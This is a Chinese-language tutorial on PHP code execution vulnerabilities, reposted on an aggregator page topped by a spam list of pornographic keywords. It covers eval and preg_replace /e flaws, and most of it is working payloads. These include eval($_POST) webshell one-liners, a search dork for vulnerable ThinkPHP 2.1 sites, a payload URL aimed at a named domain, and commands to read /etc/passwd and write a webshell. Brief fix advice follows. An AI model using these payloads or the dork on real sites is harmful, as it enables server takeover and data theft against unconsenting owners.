日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Web安全之代码执行漏洞

發布時間:2025/3/21 编程问答 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Web安全之代码执行漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

內容
1、代碼執行漏洞的概述
2、代碼執行漏洞的危害
3、代碼執行漏洞的利用
4、代碼執行漏洞的防御

背景介紹
在Web應用中有時候程序員為了考慮靈活性、簡潔性,會在代碼調用eval函數(PHP函數)去處理。比如當應用在調用一些能將字符串轉化成代碼的函數時,沒有考慮用戶是否能控制這個字符串,將造成代碼執行漏洞。

例子
PHP CMS中 settings的內容:

array('upload_maxsize' => '2048','upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf','watermark_enable' => '1','watermark_minwidth' => '300','watermark_minheight' => '300','watermark_img' => '/statics/images/water/mark.png','watermark_pct' => '85','watermark_quality' => '80','watermark_pos' => '9' , )

PHP CMS中 很常用的string2array函數:

function string2array($data){if($data == ''){return array();}eval("\$array = $data;")return $array; }

PHP CMS中 很常用的string2array函數:

<?php $data = "array('a'=>'aaaa','b'=>'222222','c'=>'',111=>phpinfo(),222=>'22')"; eval("\$arr = $data;"); ?>

其實settings是一個字符串形式的“PHP數組”,這里必須使用eval函數才能將“字符串”變成一個真正的數組。

漏洞危害

  • 執行任意代碼
  • 向網站寫WebShell
  • 控制整個網站甚至服務器

相關函數

  • eval()
  • assert()
  • preg_replace() + /e 模式
  • create_function()
  • array_map()
  • call_user_func()/call_user_func_array()
  • array_filter()
  • usort(),uasort()
  • file_put_contents()
  • fputs()
  • $_GET[‘a’]($_GET[‘b’]);//a=assert&b=phpinfo()

think2.1
//

$string = 'google 123, 456';$pattern = '/(\w+) (\d+), (\d+)/i';$replacement = 'runoob ${2},\\3';echo preg_replace($pattern, $replacement, $string); 輸出: runoob 123,456

intext:thinkphp intext:“Fast & Simple OOP PHP Framework” intext:“2.1”
${@print(eval($_POST[1]))}
{${@eval($_POST[1])}}

http://www.ksftea.com/index.php/module/action/param1/${@print(eval($_POST[1]))}

eval()函數漏洞利用_1

<?php $data = $_GET['data'];eval("\$ret = $data;");echo $ret; ?>
  • /?data=phpinfo()
  • /?data=1;phpinfo()
  • /?data=${phpinfo()}

eval()函數漏洞利用_2

<?php//關閉魔術方法$data=$_GET[‘data’];eval(“\$ret = strtolower(‘$data’);”);echo $ret; ?>
  • /?data=1’);phpinfo();//

eval()函數漏洞利用_3

<?php$data=$_GET[‘data’];eval(“\$ret = strtolower(\”$data\”);”);echo $ret; ?>
  • /?data=${phpinfo()} (php版本5.5及以上)
  • /?data=“);phpinfo();//

preg_replace+/e利用

<?php$data=$_GET[‘data’];echo $data;preg_replace(‘/<data>(.*)<\/data>/e’,‘$ret=“\\1”;’, $data);echo $ret; ?>

php版本在5.5以上

  • /?data=${phpinfo()}
  • http://localhost/baji/vul/eval/e1.php?data=<data>${assert($_POST[1])}</data>

漏洞利用
{${@eval($_POST[1])}} 一句話
{${exit(print(getcwd()))}} 獲取當前工作路徑
{${exit(var_dump(file_get_contents($_POST[f])))}}
讀文件 f=/etc/passwd
{${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}}
寫webshell f=1.php&d=1111111

漏洞修復方案

  • 對于eval( )函數一定要保證用戶不能輕易接觸eval的參數或者用正則嚴格判斷輸入的數據格式。
  • 對于字符串一定要使用單引號包裹可控代碼,并且 插入前進行addslashes().
  • 對于preg_replace放棄使用e修飾符。如果必須要用e修飾符,請保證第二個參數中,對于正則匹配出的對象,用單引號包裹 。

相關參考鏈接
http://www.jb51.net/hack/43074.html
http://0day5.com/archives/3139
http://www.kubiji.cn/topic-id1105.html

總結

以上是生活随笔為你收集整理的Web安全之代码执行漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。